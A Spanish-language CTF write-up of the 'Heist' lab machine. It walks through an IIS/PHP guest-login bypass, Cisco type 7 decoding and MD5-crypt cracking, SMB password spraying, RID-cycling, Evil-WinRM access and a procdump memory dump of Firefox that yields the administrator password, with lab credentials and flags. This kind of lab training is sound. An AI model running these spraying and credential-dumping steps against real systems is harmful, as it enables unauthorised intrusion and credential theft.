Heist
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. El portal del 80 se abre con un?guest=trueen la URL, y detrás hay una página/issues.phpcon un ficheroconfig.txtde un Cisco IOS adjuntado. Trae unenable secret 5(MD5-crypt crackeable con john) y dos contraseñas tipopassword 7(cifrado reversible Cisco). Combinando los tres usuarios (hazard,admin,rout3r) con las tres claves crackeadas, un spray SMB confirmahazard:stealth1agent. Sus credenciales no abren WinRM, pero sí permiten enumerar usuarios por RID-cycling con lookupsid.py. El segundo spray con la lista ampliada descubreChase:Q4)sJu\Y8qz*A3?dconPwn3d!en WinRM. Ya dentro, hay un Firefox de Chase corriendo; un volcado del proceso conprocdump64.exedeja en memoria una contraseña que resulta ser la del Administrator:4dD!5}x/re8]FBuZ. Evil-WinRM como Admin, flag y caja cerrada.
Reconocimiento
Ping
Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que da una pista del sistema operativo.
ping -c 1 10.10.10.149
64 bytes from 10.10.10.149: icmp_seq=1 ttl=127 time=96.6 msTTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
nmap -p- --min-rate 5000 sobre la IP devuelve:
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
49669/tcp open unknown syn-ack ttl 127
El stack típico de Windows con AD/WinRM, pero sin Kerberos (88) ni LDAP (389) ni DNS (53): no parece DC, sino un servidor stand-alone que podría usar un dominio local. El 49669 es un puerto RPC dinámico, de los que reparte el mapeador del 135, y por eso nmap lo marca unknown.
El segundo escaneo sobre esos cinco puertos sí define el terreno:
extractPorts resume el fichero -oG y deja los cinco puertos en el portapapeles:
extractPorts scan
Extracting information ...
IP Address: 10.10.10.149
Open ports: 80,135,445,5985,49669
Ports copied to clipboard
IP Address: 10.10.10.149
Open ports: 80,135,445,5985,49669nmap -p80,135,445,5985,49669 -sCV 10.10.10.149
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Support Login Page
|_Requested resource was login.php
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: -1sTres cosas que salen de aquí y no de ningún otro sitio. El 80 es Microsoft IIS 10.0 y el propio nmap avisa de que Requested resource was login.php, o sea que la raíz redirige a un portal de acceso. El 5985 se identifica como Microsoft HTTPAPI httpd 2.0, que es la pila HTTP del kernel de Windows sobre la que corre WinRM: no es un servidor web al uso, es la puerta de administración remota, y eso convierte cualquier credencial que encontremos en una posible shell.
Y el smb2-security-mode merece precisión, porque es fácil leerlo mal: Message signing enabled but not required. La firma SMB está soportada, pero no es obligatoria, que es justo la condición que hace viables los ataques de relay NTLM. Es lo mismo que crackmapexec resume, de forma algo engañosa, como signing:False: no significa que la firma esté desactivada, significa que el servidor no la exige.
Enumeración SMB sin credenciales
Antes de tocar el web, un vistazo rápido a SMB. crackmapexec da el banner:
crackmapexec smb 10.10.10.149
SMB 10.10.10.149 445 SUPPORTDESK [*] Windows 10.0 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)Una línea con cuatro datos. El hostname es SUPPORTDESK, y el domain:SupportDesk repite ese mismo nombre, que es lo que hace Windows cuando la máquina no está unida a un dominio: se anuncia con su propio nombre como grupo de trabajo. Concuerda con la ausencia de Kerberos y LDAP en el escaneo. El Build 17763 es Windows Server 2019, y el SMBv1:False descarta de entrada la familia EternalBlue.
Con esa información, el intento de sesión nula:
crackmapexec smb 10.10.10.149 -u '' -p '' --shares
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\: STATUS_ACCESS_DENIED
SMB 10.10.10.149 445 SUPPORTDESK [-] Error enumerating shares: Error occurs while reading from remote(104)Y lo mismo por la vía clásica:
smbclient -L 10.10.10.149 -N
session setup failed: NT_STATUS_ACCESS_DENIEDLas dos herramientas coinciden: la sesión nula está cerrada. Conviene anotarlo en vez de pasar de largo, porque descarta la enumeración anónima entera (usuarios, shares, política de contraseñas) y deja el web como único punto de entrada. Un ACCESS_DENIED temprano ahorra media hora de intentos por el mismo sitio.
Web - TCP 80: identificar la pila
whatweb sobre la raíz y sobre el portal:
whatweb 10.10.10.149
http://10.10.10.149 [302 Found] Cookies[PHPSESSID], HTTPServer[Microsoft-IIS/10.0],
Microsoft-IIS[10.0], PHP[7.3.1], RedirectLocation[login.php], X-Powered-By[PHP/7.3.1]
http://10.10.10.149/login.php [200 OK] Bootstrap[3.3.7], Cookies[PHPSESSID], HTML5,
HTTPServer[Microsoft-IIS/10.0], JQuery[3.1.1], Microsoft-IIS[10.0], PHP[7.3.1],
PasswordField[login_password], Script, Title[Support Login Page], X-Powered-By[PHP/7.3.1]IIS sirviendo PHP es una combinación poco habitual (lo normal es PHP sobre Apache o Nginx, y ASP.NET sobre IIS) y merece la pena fijarse, porque cambia dónde viven los ficheros y qué extensiones tiene sentido fuzzear. Wappalyzer lo confirma y añade el sistema operativo:

Web servers IIS 10.0 Operating systems Windows Server
Programming PHP 7.3.1 JS libraries jQuery 3.1.1
JS graphics particles.js CDN cdnjs, jsDelivr, Cloudflare
Font scripts Font Awesome 4.7.0En la propia página se ve un formulario de acceso y, abajo a la derecha, un discreto "Login as guest". El código fuente enseña qué hay detrás de ese enlace:

<form class="form-horizontal login-form" method="POST" action="/login.php">
<input id="login_username" name="login_username" type="email" placeholder="Username" required>
<input id="login_password" name="login_password" type="password" placeholder="Password">
<button name="login" type="submit">Login</button>
<a class="forget" href="/login.php?guest=true" title="forget">Login as guest</a>
</form>El acceso de invitado no es un usuario ni una contraseña: es un parámetro en la URL, ?guest=true, que el PHP interpreta como sesión válida. Un control de acceso decidido por un GET que cualquiera puede escribir a mano.
Y hay un detalle que guardamos para mucho más tarde: el campo de usuario es type="email". El formulario espera una dirección de correo, no un nombre de cuenta. Volverá a aparecer al final de la caja.
Descubrimiento de rutas web
Un barrido con dirsearch confirma las rutas disponibles:
dirsearch -u http://10.10.10.149/ --exclude-status=403,404
[21:38] 301 - /js -> http://10.10.10.149/js/
[21:38] 301 - /attachments -> http://10.10.10.149/attachments/
[21:38] 200 - /errorpage.php
[21:38] 301 - /images -> http://10.10.10.149/images/
[21:39] 200 - /login.phpgobuster con extensiones cubre lo que a dirsearch se le escapa:
gobuster dir -u http://10.10.10.149 -w directory-list-2.3-medium.txt -t 100 -b 404 -x php,asp,aspx,bak,html,txt
/images (Status: 301) [Size: 150] [--> http://10.10.10.149/images/]
/index.php (Status: 302) [Size: 0] [--> login.php]
/login.php (Status: 200) [Size: 2058]
/Images (Status: 301) [Size: 150] [--> http://10.10.10.149/Images/]
/issues.php (Status: 302) [Size: 16] [--> login.php]
/css (Status: 301) [Size: 147] [--> http://10.10.10.149/css/]
/Index.php (Status: 302) [Size: 0] [--> login.php]
/Login.php (Status: 200) [Size: 2058]
/js (Status: 301) [Size: 146] [--> http://10.10.10.149/js/]
/Issues.php (Status: 302) [Size: 16] [--> login.php]
/attachments (Status: 301) [Size: 155] [--> http://10.10.10.149/attachments/]Aquí está /issues.php, la ruta que importa. Devuelve un 302 hacia login.php porque exige sesión, así que sin el truco del ?guest=true habría quedado como una redirección más entre otras.
Y de regalo, una lectura de sistema operativo que no cuesta nada: cada ruta aparece dos veces, en minúscula y con la inicial en mayúscula, con idéntico tamaño de respuesta. /Issues.php y /issues.php son el mismo fichero. Un sistema de ficheros que ignora las mayúsculas es Windows, y confirma el TTL 127 desde una tercera medida independiente. En un Linux, /Issues.php habría devuelto 404.
Web - TCP 80: issues.php
La portada lleva a un panel donde aparece una conversación entre el usuario Hazard y un Support Admin sobre un problema con un router Cisco. Hazard ha adjuntado un fichero config.txt al ticket:

El adjunto es una configuración cruda de Cisco IOS con tres líneas de oro:

version 12.2
hostname ios-1
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408Las claves Cisco vienen en dos formatos muy distintos: secret 5 es un MD5-crypt (lento, hay que crackear) y password 7 es un cifrado reversible que se decodifica al instante (no es un hash). Cada uno necesita su herramienta:
Crackear el enable secret 5
echo '$1$pdQG$o8nrSzsGXeaduXrjlvKc91' > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants))
stealth1agent (?)
1g 0:00:00:13 DONEDecodificar los password 7
Para password 7 (cifrado XOR contra una clave estática de Cisco) cualquier decoder en línea sirve, por ejemplo el de firewall.cx/cisco/cisco-routers/cisco-type7-password-crack.html:


0242114B0E143F015F5D1E161713 -> $uperP@ssword (rout3r)
02375012182C1A1D751618034F36415408 -> Q4)sJu\Y8qz*A3?d (admin)Tres usuarios (hazard, admin, rout3r) y tres contraseñas (stealth1agent, $uperP@ssword, Q4)sJu\Y8qz*A3?d). Como no sabemos qué clave es de cada quién, toca un spray.
Acceso como hazard
SMB password spraying
echo -e 'hazard\nadmin\nrout3r' > users
echo -e 'stealth1agent\nQ4)sJu\\Y8qz*A3?d\n$uperP@ssword' > passwords
crackmapexec smb 10.10.10.149 -u users -p passwords --continue-on-success
SMB 10.10.10.149 445 SUPPORTDESK [*] Windows 10.0 Build 17763 x64 (name:SUPPORTDESK)
SMB 10.10.10.149 445 SUPPORTDESK [+] SupportDesk\hazard:stealth1agent
SMB ... [-] SupportDesk\hazard:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB ... [-] SupportDesk\admin:stealth1agent STATUS_LOGON_FAILURE
...Tiene autenticación válida pero sin (Pwn3d!): hazard no es local admin. Tampoco está en el grupo Remote Management Users, así que WinRM con sus credenciales falla:
crackmapexec winrm 10.10.10.149 -u hazard -p stealth1agent
WINRM 10.10.10.149 5985 SUPPORTDESK [-] SupportDesk\hazard:stealth1agentRID-cycling para enumerar usuarios
Con credenciales válidas, lo primero es pedir la lista de usuarios por la vía directa. No sale:
rpcclient -U 'hazard%stealth1agent' 10.10.10.149 -c 'enumdomusers'
rpcclient -U 'hazard%fdf' 10.10.10.149 -c 'enumdomusers'
result was NT_STATUS_CONNECTION_DISCONNECTED
Cannot connect to server. Error was NT_STATUS_LOGON_FAILUREEse segundo comando, con una contraseña inventada a propósito (fdf), es lo que convierte un fallo en información. Los dos errores son distintos, y esa diferencia lo dice todo: con la contraseña falsa el servidor responde LOGON_FAILURE, es decir, ni siquiera nos deja entrar; con la buena responde CONNECTION_DISCONNECTED, o sea que la autenticación sí funcionó y el servidor corta la conexión después, al negarnos la consulta. Traducido: las credenciales de hazard son correctas y lo que falla es la autorización, no la identidad.
Es un control barato que merece la pena hacerse siempre. Sin él, un enumdomusers que falla parece una credencial mala y se descarta un camino que sí estaba abierto.
La misma comprobación con net rpc, esta vez indicando el dominio completo, devuelve lo mismo:
net rpc user -I 10.10.10.149 -U 'SUPPORTDESK\hazard%stealth1agent'
Lo que sí concede el servidor es el SID de la máquina:
net rpc getsid -I 10.10.10.149 -U 'SUPPORTDESK\hazard%stealth1agent'
# Storing SID S-1-5-21-4254423774-1266059056-3197185112 for SUPPORTDESK
Con el SID, RID-cycling enumera usuarios por fuerza bruta del último componente (el RID). La forma más rápida es con crackmapexec --rid-brute:
crackmapexec smb 10.10.10.149 -u 'hazard' -p 'stealth1agent' --rid-brute
[+] Brute forcing RIDs
500: SUPPORTDESK\Administrator (SidTypeUser)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)Otra alternativa es lookupsid.py de impacket, con output limpio:
lookupsid.py SUPPORTDESK/hazard:stealth1agent@10.10.10.149
Y el equivalente manual con rpcclient, que es el que deja ver qué está pasando por debajo. La operación se llama lookupsids y hace exactamente una cosa: se le da un SID completo y devuelve a quién pertenece. Basta con ir pegándole al SID de la máquina los RID candidatos:
for i in {500..515} {1000..1015}; do
rpcclient 10.10.10.149 -U 'SUPPORTDESK\hazard%stealth1agent' \
-c "lookupsids S-1-5-21-4254423774-1266059056-3197185112-$i" | grep -v unknown
done
S-1-5-21-4254423774-1266059056-3197185112-500 SUPPORTDESK\Administrator (1)
S-1-5-21-4254423774-1266059056-3197185112-501 SUPPORTDESK\Guest (1)
S-1-5-21-4254423774-1266059056-3197185112-503 SUPPORTDESK\DefaultAccount (1)
S-1-5-21-4254423774-1266059056-3197185112-504 SUPPORTDESK\WDAGUtilityAccount (1)
S-1-5-21-4254423774-1266059056-3197185112-513 SUPPORTDESK\None (2)
S-1-5-21-4254423774-1266059056-3197185112-1008 SUPPORTDESK\Hazard (1)
S-1-5-21-4254423774-1266059056-3197185112-1009 SUPPORTDESK\support (1)
S-1-5-21-4254423774-1266059056-3197185112-1012 SUPPORTDESK\Chase (1)
S-1-5-21-4254423774-1266059056-3197185112-1013 SUPPORTDESK\Jason (1)Los rangos del bucle no son arbitrarios. Los RID por debajo de 1000 están reservados para cuentas que Windows crea siempre: el 500 es el Administrator de verdad (lo sigue siendo aunque lo renombren, porque el RID no cambia), el 501 el Guest, el 513 el grupo de usuarios del dominio. Las cuentas creadas por un administrador empiezan a numerarse en 1000 y suben de una en una, por eso el segundo rango arranca ahí. Y el número entre paréntesis es el tipo: (1) es usuario y (2) es grupo, que es por lo que None sale en la lista sin ser una persona.
El grep -v unknown filtra los RID sin asignar, que devuelven *unknown*. Con dos filtros más se deja la lista lista para el spray:
for i in {500..515} {1000..1015}; do
rpcclient 10.10.10.149 -U 'SUPPORTDESK\hazard%stealth1agent' \
-c "lookupsids S-1-5-21-4254423774-1266059056-3197185112-$i" \
| grep -v unknown | awk -F '\\' '{print $NF}' | awk '{print $1}' >> userlist.txt
done
Administrator
Guest
DefaultAccount
WDAGUtilityAccount
Hazard
support
Chase
JasonAparecen dos nombres nuevos: Chase y Jason. Toca repetir el spray con la lista ampliada.
Shell como Chase
Segundo spray con la userlist ampliada
crackmapexec smb 10.10.10.149 -u userlist.txt -p passwords --continue-on-success
Se confirma Chase:Q4)sJu\Y8qz*A3?d. Probando los dos vectores de shell habituales:
crackmapexec smb 10.10.10.149 -u Chase -p 'Q4)sJu\Y8qz*A3?d'
crackmapexec winrm 10.10.10.149 -u Chase -p 'Q4)sJu\Y8qz*A3?d'
SMB 10.10.10.149 445 SUPPORTDESK [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d
WINRM 10.10.10.149 5985 SUPPORTDESK [*] http://10.10.10.149:5985/wsman
WINRM 10.10.10.149 5985 SUPPORTDESK [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d (Pwn3d!)La misma credencial, dos servicios, dos resultados distintos, y ahí está la lección. En SMB sale el [+] pero sin (Pwn3d!): autentica y nada más. En WinRM sale el (Pwn3d!), que en crackmapexec significa exactamente "este usuario puede abrir una sesión aquí", es decir, que pertenece a Remote Management Users. No significa que sea administrador. Evil-WinRM hace el resto:
evil-winrm -u 'Chase' -p 'Q4)sJu\Y8qz*A3?d' -i 10.10.10.149
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Chase\Documents> whoami
supportdesk\chaseEl Warning: Remote path completions is disabled due to ruby limitation que Evil-WinRM escupe al arrancar asusta la primera vez, pero es cosmético: solo desactiva el autocompletado de rutas remotas con el tabulador. La sesión funciona igual.
Y con ella, la primera flag:
*Evil-WinRM* PS C:\Users\Chase\Documents> type ..\Desktop\user.txt
39cc327b522fad9309c45145edb8d8ed
Escalada a Administrator
Qué es Chase exactamente
Antes de buscar nada, conviene mirar con qué se cuenta. whoami /all da el token completo:
whoami /all
USER INFORMATION
User Name SID
supportdesk\chase S-1-5-21-4254423774-1266059056-3197185112-1012
GROUP INFORMATION
Group Name Type SID
Everyone Well-known group S-1-1-0
BUILTIN\Remote Management Users Alias S-1-5-32-580
BUILTIN\Users Alias S-1-5-32-545
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
Privilege Name Description State
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set EnabledTres lecturas. La primera cierra el círculo del RID-cycling: el SID de Chase acaba en 1012, exactamente el RID que el bucle de lookupsids había traducido a SUPPORTDESK\Chase sin tener aún ninguna sesión en la máquina. La segunda confirma con pruebas lo que el (Pwn3d!) solo sugería: ahí está BUILTIN\Remote Management Users, y también BUILTIN\Users a secas, sin rastro de Administrators.
La tercera es la que marca el camino. Los únicos privilegios son SeChangeNotifyPrivilege y SeIncreaseWorkingSetPrivilege, que los tiene cualquier cuenta de Windows y no sirven para escalar. Ni SeImpersonate, ni SeBackup, ni SeDebug. Con un Medium Mandatory Level y esa lista, la escalada por abuso de privilegios queda descartada de golpe: no hay nada que abusar. Hay que buscar una credencial en otro sitio.
Procesos sospechosos
Lo que sí canta es la lista de procesos:

Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
355 25 16436 38456 0.16 4160 1 firefox
1051 70 150160 227076 6.19 6472 1 firefox
347 19 10288 38308 0.05 6600 1 firefox
401 34 35584 91996 1.06 6732 1 firefox
378 28 22632 62372 0.38 7016 1 firefoxUn usuario con Firefox abierto en una caja CTF casi siempre significa credenciales guardadas o usadas en memoria. La técnica clásica: volcar el proceso con Procdump (Sysinternals) y peinar el dump con strings.
Procdump al Firefox de Chase
Procdump no viene en Kali ni en la víctima: se descarga de Sysinternals, y la primera búsqueda ya lleva a la página oficial de Microsoft.


Llega en un ZIP con varios binarios:
unzip Procdump.zip
Archive: Procdump.zip
inflating: procdump.exe
inflating: procdump64.exe
inflating: procdump64a.exe
inflating: Eula.txtHay que elegir el correcto y no es indiferente: procdump.exe es de 32 bits, procdump64a.exe es para ARM64 y procdump64.exe es el x64, que es lo que pide un Windows Server 2019 sobre Intel. Un volcador de 32 bits no puede leer el espacio de memoria de un proceso de 64 bits, así que equivocarse aquí da un error confuso y hace perder el rato.
Se sube por la propia sesión de Evil-WinRM, que trae upload incorporado y evita montar un servidor web o un share SMB:
upload ../exploits/procdump64.exe
La herramienta exige aceptar la licencia con -accepteula (si no, abre un diálogo gráfico que en una shell remota no se puede pulsar y el programa se queda colgado). Su propia ayuda explica el parámetro que interesa:
-ma Write a 'Full' dump file.
- Includes all memory (Image, Mapped and Private).Un volcado completo, no solo la pila: es lo que garantiza que entren las cadenas que el proceso tiene en memoria dinámica. Y el objetivo es el PID:
ps | findstr firefox
.\procdump64.exe -accepteula -ma 4160
download firefox.exe_250918_043144.dmp
*Evil-WinRM* PS C:\Users\Chase\Documents> ps | findstr firefox
355 25 16436 297372 0.16 4160 1 firefox
1051 70 150092 227020 6.19 6472 1 firefox
347 19 10288 38308 0.05 6600 1 firefox
401 34 35400 92416 1.08 6732 1 firefox
378 28 22632 62392 0.38 7016 1 firefox
*Evil-WinRM* PS C:\Users\Chase\Documents> download firefox.exe_250918_043144.dmp
Info: Downloading C:\Users\Chase\Documents\firefox.exe_250918_043144.dmp to firefox.exe_250918_043144.dmp
Progress: 3% : |
$ strings firefox.exe_250918_043144.dmp | grep password
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
security.ask_for_password
services.sync.engine.passwords.validation.percentageChance
security.insecure_password.ui.enabledDe los cinco firefox, se elige el 4160, que es el de PID más bajo y por tanto el primero que arrancó: en el modelo multiproceso de Firefox ese es el proceso padre, el que gestiona la interfaz y la barra de direcciones. Los hijos son las pestañas y el contenido renderizado. Curiosamente es también el que menos memoria consume de los cinco (16 MB frente a los 150 MB del más gordo), lo que enseña que elegir "el más grande" habría sido el criterio equivocado.
El .dmp se descarga a la máquina atacante y se peina con strings:
strings firefox.exe_250918_043144.dmp | grep passwordMOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=Esa línea es el premio, y conviene entender por qué existe. No es una contraseña guardada en el gestor de Firefox: es una variable de entorno del informador de fallos (MOZ_CRASHREPORTER_RESTART_ARG_1), donde Firefox conserva la URL que estaba abierta para poder restaurarla si el navegador se cae. Y la URL contiene las credenciales porque el formulario se envió, o se navegó, con los datos en la cadena de consulta. Cualquier cosa que se manda por GET acaba en el historial, en los registros del servidor y, como aquí, en la memoria del navegador.
El usuario que aparece cierra un hilo que dejamos abierto al principio: admin@support.htb, una dirección de correo. Es exactamente lo que pedía aquel type="email" del formulario de acceso, y descubre de paso un dominio, support.htb, que no salió en ningún escaneo.
La contraseña candidata es 4dD!5}x/re8]FBuZ. Probada contra el Administrator vía WinRM:
crackmapexec winrm 10.10.10.149 -u 'Administrator' -p '4dD!5}x/re8]FBuZ'
WINRM 10.10.10.149 5985 SupportDesk\Administrator:4dD!5}x/re8]FBuZ (Pwn3d!)Funciona, y con (Pwn3d!). La contraseña que un usuario tecleó en un formulario web resulta ser la del administrador local de la máquina. Evil-WinRM y la última flag:
evil-winrm -u 'Administrator' -p '4dD!5}x/re8]FBuZ' -i 10.10.10.149
type ..\Desktop\root.txt
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
5465b1b4b15cba17afe1e1cfd2c2a978Cadena de ataque
nmap (80 IIS+PHP, 135, 445, 5985 WinRM) + sesión nula SMB cerrada
└─> login.php?guest=true → /issues.php → config.txt de Cisco IOS
├─> enable secret 5 ($1$pdQG$...) → john (rockyou) → stealth1agent
└─> password 7 (0242...1713 / 0237...5408) → Cisco Type 7 decoder → $uperP@ssword, Q4)sJu\Y8qz*A3?d
└─> SMB spray (3 usuarios x 3 contraseñas)
└─> hazard:stealth1agent (SMB sí, WinRM no, sin Pwn3d!)
└─> RID-cycling con lookupsid.py → Chase, Jason, support
└─> Segundo spray → Chase:Q4)sJu\Y8qz*A3?d (WinRM Pwn3d!)
└─> Evil-WinRM como Chase + user.txt
└─> procdump64.exe -ma firefox.exe → strings | grep password
└─> 4dD!5}x/re8]FBuZ válido como Administrator
└─> Evil-WinRM como Administrator + root.txtLecciones aprendidas
- Un
configde Cisco mezcla dos formatos de credencial que requieren herramientas distintas:secret 5es MD5-crypt (john + wordlist) ypassword 7es cifrado reversible (decoder al instante). No confundir uno con otro. - Dos errores distintos ante el mismo comando son un dato, no dos fracasos. Repetir el
enumdomuserscon una contraseña inventada devolvióLOGON_FAILURE, mientras que con la buena devolvíaCONNECTION_DISCONNECTED. Esa diferencia demuestra que las credenciales eran válidas y que el problema era de autorización. Sin el control, el camino se habría descartado como credencial mala. - Cuando una credencial autentica en SMB sin
(Pwn3d!)y WinRM falla, no está todo perdido: es suficiente para RID-cycling y enumerar más usuarios que multipliquen el espacio del spray. (Pwn3d!)encrackmapexec winrmsignifica "el usuario está enRemote Management Users", no "el usuario es admin local". A veces se interpreta mal y se descarta un vector. Aquí elwhoami /alllo confirmó por escrito:BUILTIN\Remote Management UsersyBUILTIN\Users, sinAdministratorspor ningún lado.- Un
whoami /allsin privilegios interesantes también decide la estrategia. Chase solo teníaSeChangeNotifyPrivilegeySeIncreaseWorkingSetPrivilege, que los tiene cualquiera. Ver esa lista descarta de una vez toda la familia de escaladas por abuso de privilegio y obliga a buscar credenciales en otro sitio, que es lo que acabó funcionando. - Un control de acceso decidido por un parámetro de URL no es un control de acceso. El
?guest=truedelogin.phpdaba la sesión que ocultaba/issues.php, la ruta que los fuzzers veían solo como un302. - Cualquier proceso de usuario con sesión activa en una caja (Firefox, Outlook, KeePass...) es un candidato a volcado con
procdump -ma. La memoria de procesos guarda credenciales en claro con muchísima más frecuencia de la que parece. - Las credenciales llegaron por
GET, y por eso estaban en memoria. La cadena encontrada eraMOZ_CRASHREPORTER_RESTART_ARG_1, la URL que Firefox guarda para restaurar la sesión tras un fallo, conlogin_usernameylogin_passworden la cadena de consulta. Nada de eso habría existido con unPOST. Enviar credenciales por la URL las deja en el historial, en los registros del servidor y en la memoria del navegador.